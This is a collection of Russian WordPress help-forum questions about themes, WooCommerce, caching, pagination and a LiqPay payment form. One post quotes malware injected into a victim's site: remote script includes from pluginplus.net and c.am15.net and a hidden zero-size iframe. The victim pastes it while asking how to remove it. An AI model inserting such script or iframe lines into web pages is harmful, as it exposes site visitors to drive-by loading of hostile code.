Перенос участка кода

Доброго времени суток, дорогие пользователи. Я снова зашел в небольшой тупик =( К сожалению из-за неопытности мне еще тяжело воспринимать и работать с объемным кодом. Поэтому решил попросить помощи у вас. Если вас не затруднит помогите перенести эту функцию

function add_rayting_comment($text){
global $comment;
global $user_ID;
global $wpdb;
global $comments_rayt;

    foreach((array)$comments_rayt as $val){
        if($val->comment_id==$comment->comment_ID) 
            $sum_rayt = $sum_rayt + $val->rayting;
    }
    
    $vote_results = '';
    
    if($sum_rayt&&$user_ID||$sum_rayt===0&&$user_ID) $vote_results = '<div id="vote-results-'.$comment->comment_ID.'" class="vote-results">?</div>';

    if(!$sum_rayt) $sum_rayt = 0;    
    
    $rayt = '<div id="com-'.$comment->comment_ID.'" class="comment-rayt">';
    $rayt .= '<div class="rayt-res"><div style="float: left;">Рейтинг: <span id="com-karma-'.$comment->comment_ID.'">'.$sum_rayt.'</span></div>'.$vote_results.'</div>';
    
    $golos = false;
    foreach((array)$comments_rayt as $val){
        if($val->comment_id==$comment->comment_ID&&$val->user==$user_ID||$comment->user_id==$user_ID) $golos = true;
    }
        
        if($golos == false){
            $count_rayt = get_option('count_rayt_comment');
            if(!$count_rayt) $count_rayt = 1;
            $id_rayt_plus = $comment->comment_ID + $count_rayt;
            $id_rayt_plus = pow($id_rayt_plus, 2);
            $id_rayt_minus = $comment->comment_ID - $count_rayt;
            $id_rayt_minus = pow($id_rayt_minus, 2);
            $rayt .= '<div id="'.$id_rayt_minus.'" class="minus_rayt rayt"></div>
            <div id="'.$id_rayt_plus.'" class="plus_rayt rayt"></div>';
        }
    
    $rayt .= '</div>';
    
    return $text.$rayt;
}

В этот код комментариев.

<div class="comment-meta">
                <div class="author"><?php if ( $comment->user_id && !$comment->comment_author_url ): ?>
    <a class="author-link" href="<?php echo get_author_posts_url( $comment->user_id ); ?>"><?php echo $comment->comment_author; ?></a>
<?php else: ?>
<span class="unregistered-comment"> <?php echo $comment->comment_author; ?> </span>
<?php endif; ?> </div>
    
                 <-------- СЮДА -------->
                
                <span class="time"><?php printf(__('%1$s at %2$s'), get_comment_date(),  get_comment_time()); ?></span>
                </div>

Я хочу добиться того, что бы этот участок кода

$rayt .= '<div id="'.$id_rayt_minus.'" class="minus_rayt rayt"></div>
            <div id="'.$id_rayt_plus.'" class="plus_rayt rayt"></div>';

был помещен там, где я хочу а не следом за комментарием =)

Заранее всем большое спасибо за помощь =)

Помогите настроить кроссбраузерность

Сайт идеально отображается в хроме и мазиле, а вот в сафари основное меню разлетается в разные стороны,
особенно если это мобильное устройство с не большим экраном, и три слайдера на главной странице отказываются работать а показывают сразу все имеющиеся фото. С оперой лучше, меню на месте, но 3 слайдера вытворяют тоже, что и в сафари.
Пожалуйста подскажите решение.

Сайт: logo-dress/ru

Вопросы от назойливого новичка =)

Доброго времени суток, уважаемые форумчане =) Моя история стандартна и тривиальна. Короче перелопатив кучу инфы, я так и не нашел конкретных ответов на свои вопросы. А посему обращаюсь к вам, как к профи за помощью в решении возникших проблем. В общем сабж…

1. Меня интересует, как сделать так, что-бы ник (ссылка) в комментариях ввела на личную страничку автора (страничка типа mysite.com/author/comment_author)
2. Есть ли плагины для wp, которые создавали бы полноценную карму пользователя (типа хабры)? Сторонний сервис с похожим функционалом находил, но хотелось бы, что бы вся информация хранилась бы у меня, а не где-то за бугром -)
3. Можно ли реализовать добавление картинки в комментариях без использования плагинов и если да, то как? Может где-то есть конкретный мануал по установке?
4. Как сделать личный кабинет пользователя с возможностью редактировать данные? Опять же желательно без плагина с возможностью встроить этот функционал в шаблон =)

Заранее благодарю каждого, кто протянет руку помощи страждущему =))

Вход на сайт и выход с него.

Пожалуйста подскажите как сделать чтобы кнопка выхода,
заменяла кнопку входа при авторизации пользователя и наоборот.
Примерно как на этом блоге. 🙂

woocommerce 2.0.2

Здравствуйте!
Подскажите пожалуйста, как на woocommerce 2.0.2 убрать вывод категорий со страницы товара. Хотелось бы, чтобы вывод артикула остался.
адрес сайта: logo-dress/ru

Проблемы с поиском.

Здравствуйте! На моем сайте существует проблема со страницей вывода результатов поиска. Поиск работает корректно, но почему-то страница вывода результатов поиска сползает в правый верхний угол. Как это исправить? Адрес сайта : logo-dress/ru
Woocommerce 2.0.2

Не типичный вывод записей на главной

Доброго дня. Подскажите как сделать следующее

Картинки – это расположение записей на странице. Для каждого блока я прописываю данные о положении и размере, но как обозначить системе, что первый пост надо выводить в div id="1", второй в div id="2" и т.д.?

Извращения и PageNavi

здравствуйте.

Используется такой код для вывода новостей одной категории на странице

<div style="margin:0 auto;margin-top:85px;" class="white1">
<?php
$posts_new = get_posts('category=1&numberposts=5');
foreach ($posts_new as $post_new) :
 echo '<span class="redhead"><a href="';
echo get_permalink($post_new->ID);
echo '"><span style="color:#BC0909;text-shadow:none;">';
echo $post_new->post_title;
echo '</span></a>';    
echo '</span><br /><span class="date">Опубликовано:&nbsp;';    
echo mysql2date('j.m.Y',  $post_new->post_date);
echo '</span><br /><br /><div class="divtext"><span class="spantext"><noindex>';
$str = $post_new->post_content;
echo mb_substr($str, intval($s), 500);
echo '</noindex>... <a href="';
echo get_permalink($post_new->ID);
echo '"><br /><span style="color:#BC0909;font-weight:500; text-decoration:underline;text-shadow:none;">Продолжить</span></a><br /><br /><br /></span></div>';
endforeach;  
?>

<?php twentytwelve_content_nav( 'nav-below' ); ?>

</div>

Мечтается о том, чтобы выводилось по 5 записей на странице. Установлен плагин PageNavi.

Плагин замечательно выводит внизу этой страницы пангинацию <<1.2.3>> и ссылки ведут соответственно на http://site.ru/news.htm/ , http://site.ru/news.htm/page/2/, http://site.ru/news.htm/page/3/, однако на каждой из этих страничек одни и те же ПЕРВЫЕ 5 записей.

На решение проблемы самостоятельно уйдут годы, прошу помочь в поиске – где и что заменить/убрать/добавить… 🙁

Не работает Max cache на стр. плаг. WP e-Commerce

Здравствуйте, уважаемые форумчане!

Сайт-пациент = s h i p t o m e . r u
конфиг. = WP v. 3.6.1 ru
установлен плагин интернет-магазина WP e-Commerce версии. = 3.8.12.1 (http://wordpress.org/plugins/wp-e-commerce/)

Из-за большого времени загрузки страниц сайта было решено выполнить его оптимизацию.
Одной из задач оптимизации было наладить кеширование на сайте, при переборе различных плагинов кеширования (Hyper Cache в сочетании с DB Cache Reloaded Fix + WP Manifi + WP Smush it) — возникли проблемы — попропадали некоторые части кода сайта, пришлось уйти от эти сочетаний. Я нашёл альтернативный скрипт(http://maxsite.org/page/maxsite-cache) выше названым. После его установки я получил ускорение почти в 2-а раза по отношению ко времени загрузки страниц, только на определённых стр. Max cache — всё же не заработал.

Проблема:
—————
На всех стр. сайта данный скрипт кеширования работает, кроме тех страниц, которые генерируются плагином = WP e-Commerce, как я уже разобрался уже в ходя проведённого мной анализа причины:

http://s h i p t o m e . r u /catalog/
http://s h i p t o m e . r u /catalog/*****/
http://s h i p t o m e . r u /catalog/*/
http://s h i p t o m e . r u /catalog/*/*****/
http://s h i p t o m e . r u /tagged/*****/

*, ***** — означают любые знаки (как на сайте).

Я общался с разработчиком скрипта Max cache с просьбой помочь и подсказать как решить данную проблему, но получил только такие советы:
——————–
1.-совет

Я не знаю как именно организован ваш сайт. Скорее всего catalog — это либо какое-то
перенаправление на уровне сервера (.htaccess), либо шаблона, либо плагина. Я не занимаюсь
WordPress-сайтами, тем более чужими разработками, поэтому мне тяжело что-то сказать
конкретно. Обратитесь к разработчику сайта, возможно он сможет определить причину
нереботы кеша. Как я уже сказал она скорее всего связана с перенаправлением, поэтому все
url-запросы идут «мимо» кеша.

Как вариант, попробуйте переключиться на дефолтный шаблон и проверьте работу кеша. Если
эти же адреса также не кешируются, значит дело в каком-то плагине. Отключайте плагины по
одному и определите проблемный.

2.-совет

Я просмотрел код этого плагина и вижу, что в нем просто
тупо удаляется буфер вывода. То есть вместо того, чтобы корректно получить свой уровень
буфера, разработчик его просто удаляет. Таким образом, когда срабатывает кеш, буфер
уже пустой.

Пишите разработчику этого плагина. Пусть учит документацию по буферизации вывода PHP:
http://www.php.net/manual/ru/ref.outcontrol.php и исправляет свои ошибки.

——————–

Я прочитал инф-ю про ф-и буферизации в PHP — нашёл то, что они использовались в 23 файлах плагина WP e-commerce(хотя автор скрипта Max cache — говорил выше, что удаляется буфер вывода, а он там присутствует также он советовал, что всё-таки:

Вот там, где нашли и нужно исправлять. В каждом случае индивидуально разбирая код.

), пробовал интегрировать код приведённый на стр. = http://maxsite.org/page/ras34, в файлы шаблонов страниц, описанных выше, но результата это не дало.

уменьшения скорости загрузки выше описанных стр. не получилось добиться.

Данный плагин, о котором идёт речь устроен так, что у него есть раздел настроек по пути:

Админка WP — Параметры — Магазин — Презентация

вот список настроек справа вверху стр. Презентация, и некоторые из описанных ниже имён шаблонов относятся к тем, что отвечают за оформление стр. сайта: wpsc-products_page.php + wpsc-single_product.php — среди этого списка стоят у меня галки напротив этих файлов +

Также после каждого добавления кодов в файлы указанных шаблонов я очищал кеш кнопкой = Flush Theme Cache (указанной ниже)

=====================


Некоторые Тема файлы были перемещены в папку с темой WordPress.

WP e-Commerce provides you the ability to move your theme files to a safe place for theming control. If you want to change the look of your site, select the files you want to edit from the list and click the move button. This will copy the template files to your active WordPress theme.

    wpsc-single_product.php
    wpsc-cart_widget.php
    wpsc-list_view.php
    wpsc-category-list.php
    compatibility.css
    wpsc-user-log.php
    wpsc-grid_view.php
    wpsc-account-downloads.php
    wpsc-default.css
    wpsc-transaction_results.php
    wpsc-shopping_cart_page.php
    wpsc-products_page.php
    wpsc-category_widget.php
    wpsc-account-purchase-history.php
    wpsc-account-edit-profile.php
    wpsc-featured_product.php

To change the look of certain aspects of your shop, you can edit the moved files that are found here:

/var/www/wp-content/themes/phomedia

You can create a copy of your WordPress Theme by clicking the backup button bellow. Once copied you can find them here:

/wp-content/uploads/wpsc/theme_backup/

Backup Your WordPress Theme	

If you have moved your files in some other way i.e FTP, you may need to click the Flush Theme Cache. This will refresh the locations WordPress looks for your templates.

Flush Theme Cache
=====================

Очень прошу помочь решить данную проблему!

Жду Ваших советов и рекомендаций и напутствий в том как же мне всё-таки убрать удаление буфера вывода ?
Готов оплатить Вашу работу, если она будет успешной и решит мои проблемы!

i c q : 4 3 2 – 2 1 4 – 8 6 4 (без пробелов)
s k y p e: a k l e v a (без пробелов)

so-contact-form. кто может её заставить?

Речь, конечно, идёт о FS Contact Form))) Написал сослепу, а тему, уже, не поправить. Тока тэкст( Господа модераторы, если не в лом, помогите: исправьте в заглавии…

Раньше ставил и пользовал, и подтверждения через неё получал. Но, прошли годы…
Поставил две формы (на сайте и на блоге) выглядят хорошо, сообшения принимают, файлы прикрепляют, но, кроме, ВАШЕ СООБЩЕНИЕ ОТПРАВЛЕНО. СПАСИБО, никто о тех сообщениях больше ничего не знает, а в одном случае, надо прописать и подтверждение.
В общем, если кто точно знает, что там надо и куда вписать, милости прошу к нашему столику, тут немного наливают:))

Заранее благодарен,
Андрей.

Помогите справится с вирусом :(

Здравствуйте.
Обнаружил у себя на сайте вирус. Посторонний код появляется в коде новости когда в админке на вкладке редактирования любой страницы посмотреть ее в визуальном редакторе. Потом снова переключаюсь на HTML код страницы и под текстом статьи появляется код:

<p><script type="text/javascript" src="https://pluginplus.net/plugins/system/system_ps.js"></script></p>
<p><iframe style="width: 0px; height: 0px; border: 0px none;" src="https://pluginplus.net/statistica/statistic_li.html"></iframe></p>
<p><script type="text/javascript" src="http://c.am15.net/preloader7.js"></script></p>
<div id="advm_video"> </div>
<div>
<div id="advm_block" style="display: none;">
<div id="advm_close">Закрыть [Х]</div>
<div id="ambn17757"> </div>
<div id="advm_box">
<div>Осталось <span id="advm_timer"></span> сек.</div>
</div>
</div>
</div>

В HTML коде страницы удаляю указанный код и сохраняю страницу – кода нет. Если же переключиться снова на визуальный редактор страницы и обратно в HTML код – код вируса опять есть. Никак не могу его найти в файлах сайта… 🙁 Подскажите в каком виде он может быть и где? Заранее благодарен за помощь.

Установка javascript

Привет всем.

На страницу вордпресса нужно установить javascript (калькулятор расхода топлива).
Скрипт имеется, а вот как его поставить туда, не знаю.

Заранее благодарен за помощь!

функция mail в wordpress

создал форму обратной связи.Аяксом передаю значения полей и отправляю майлом на мыло
почему не работает функция mail?
как отправлять почту?

Доработка xmlrpc

Помогите с доработкой xmlrpc (не за бесплатно, конечно же).
Нужно, чтоб при удаленной публикации создавалась папка в site/images/
Для каждой записи своя папка. Название папки = ID записи.
Как это реализовать?

Интеграция liqpay на вордпресс

Здравствуйте, знатоки.

Кто-то встречался с такой ситуацией:
Подключил систему оплаты ликпай к сайту. Если сумма фиксированная, то форма работает отлично,
но мне нужно что бы пользователь сам мог вписать сумму.

Для этого использую форму (полный код):

<?

$merchant_id='iхххххххххх';
$signature="хххххххххххххххххххххххххххххххххххх";
$url="https://www.liqpay.com/?do=clickNbuy";
$method='card';
$phone='+хххххххххххх';
$amount = $_POST['amount']; //забираем значение из POST

    

    $xml="<request>      
        <version>1.2</version>
        <result_url>http://www.ikvaprokat.com/ок/</result_url>
        <server_url>http://mysite.com/lqanswer.php</server_url>
        <merchant_id>$merchant_id</merchant_id>
        <order_id>$order_id</order_id>
        <amount>$amount</amount>
        <currency>UAH</currency>
        <description>Аванс</description>
        <default_phone>$phone</default_phone>
        <pay_way>$method</pay_way> 
        </request>
        ";
    
    
    $xml_encoded = base64_encode($xml); 
    $lqsignature = base64_encode(sha1($signature.$xml.$signature,1));
    


echo("<form action='$url' method='POST'>
      <input type='hidden' name='operation_xml' value='$xml_encoded' />
      <input type='hidden' name='signature' value='$lqsignature' />
          Введите сумму <input type='text' size='4' name='amount'  />

    <input type='submit' value='Pay'/>
    </form>");
?>

Но в таком виде уже на стороне ликпай выдает ошибку, что введена неверная сумма.
Как это исправить.
Написано то, кажется, все правильно, но почему то не работает так, как надо.

Как вывести id изображения NGGallery в lightbox

Интересует вопрос, как в NGGallery вытащить image->pid вне плагина ?
Нужно вывести id изображения в lightbox.

Кроспост из ВК в WordPress

Существует ли плагин или способ публиковать из своей группы в VK в свой блог на WordPress?

Условие на наличие дочек в таксономии

Здравствуйте, уважаемые гуру вордпресс.
Есть проблемка, с которой борюсь. Подскажите пожалуйста

Суть в следующем. В архивной странице таксономии (в данном случае taxonomy-typeuslugi.php пробую реализовать такую штуку
Если мы находимся на странице рубрики таксономии, и в этой рубрики есть дочерние подрубрики – выводиться список подрубрик в виде таблиц.
Если же мы находимся на странице рубрики (подрубрики), и там дальше нет дочерних подрубрик – выводяться записи (плитками). Это сделал.
Но есть еще один момент. Если мы находимся на странице рубрики, где есть подрурики – выводиться все подрубрики плитками. И если в одной из подрубрик есть еще дочки, тогда список выводяться ее дочки через wp_list_categories.

Если же нет подрубрик – то просто кнопка "Подробнее"

Вот именно эта штука никак не получаеться. Подскажите, как лучше сделать.
Ниже привожу все код.

 
 <? $term = get_term_by( 'slug', get_query_var( 'term' ), get_query_var( 'taxonomy' ) ); // get current term
$parent = get_term($term->parent, get_query_var('taxonomy') ); // get parent term
$children = get_term_children($term->term_id, get_query_var('taxonomy')); // get children
if(($parent->term_id!="" && sizeof($children)>0)) { ?>

<!--has parent and child-->
    
<?php
  $terms = get_terms('typeuslugi', array ('parent'=>$term->term_id,  'orderby'=>'id', 'hide_empty' => 0, 'hierarchical' => 0));
  $count = count($terms);
  foreach ($terms as $term) { 
   $custom_field = get_field('catimg', 'typeuslugi_' . $term->term_id  );
  $price = get_field('price', 'typeuslugi_' . $term->term_id);
?>
 
 <div class="subfundament">
                    <a href="/typeuslugi/<? echo $term->slug; ?>" title="<? echo $term->name; ?>"><img src="<? echo $custom_field['sizes']['term']; ?>"  /></a>
                    <h3><? echo $term->name; ?></h3>
                    <p  class="descterm"><?php echo term_description( $term->term_id, 'typeuslugi' ) ?></p>
                    <? if($price !== '') { ?><p class="price"><? echo $price ?><span> руб</span></p><? } ?>
                    <a class="orangemore" href="/typeuslugi/<? echo $term->slug; ?>">подробнее</a>
                </div>
                
 
 <? } ?>



<? }elseif(($parent->term_id=="") && (sizeof($children)>0)) { ?>

<!--no parent, has child-->

<?php
  $terms = get_terms('typeuslugi', array ('parent'=>$term->term_id,  'orderby'=>'id', 'hide_empty' => 0, 'hierarchical' => 0));
  $count = count($terms); 
  foreach ($terms as $term) {  
  $custom_field = get_field('catimg', 'typeuslugi_' . $term->term_id  );
  $price = get_field('price', 'typeuslugi_' . $term->term_id);
?>
 
 <div class="subfundament">
                    <a href="/typeuslugi/<? echo $term->slug; ?>" title="<? echo $term->name; ?>"><img src="<? echo $custom_field['sizes']['term']; ?>"  /></a>
                    <h3><? echo $term->name; ?></h3>
                    
                    <div class="descterm"><?php echo term_description( $term->term_id, 'typeuslugi' ) ?></div>
                    <? if($price !== '') { ?><p class="price"><? echo $price ?><span> руб</span></p><? } ?>
                    
<?php
$term = get_queried_object();

$children = get_terms( $term->taxonomy, array(
'child_of'    => $term->term_id,
'hide_empty' => false
) );
// print_r($children); // uncomment to examine for debugging
if($children) {  ?>
<ul id="nav">
            <li><a href="#">Категории</a>
                <ul><? wp_list_categories('taxonomy=typeuslugi&show_count=0&hide_empty=0&title_li=&child_of='. $term->term_id); ?></ul>
            </li>
        </ul>        
<? } else { ?>
Подробнее
<? } ?>
    
    
                    
                </div>
                
 
 <? } ?>

<? } else { ?>

<!--has parent, no child-->
    <p>Тут будут записи</p>

        <? } ?>

плагин для создания ссылок

Всем привет,
Подскажите, пожалуйста, я когда-то видел такие удобные плагины для создания ссылок на статьи в социальных сетях .
надо :
1) редактор социальных сетей (добавление с картинкой, удаление).
2) В админке в редакторе каждой статьи ввести ссылки на все соц. сети.
3) Отобразить в линейку на фронтенде на странице статьи. С возможностью задавать шаблон или форматирование этой линейки.

Совместимый с последней стабильной WordPress (Version 3.7.1 )

Спасибо,

Проблема с редактором

Возникла проблема с редактором а точнее не работает визуальный режим нормально, пропала вкладка добавление файлов, где искать проблему подскажите кто знает.

Anonymous
Отправить
Ответ на: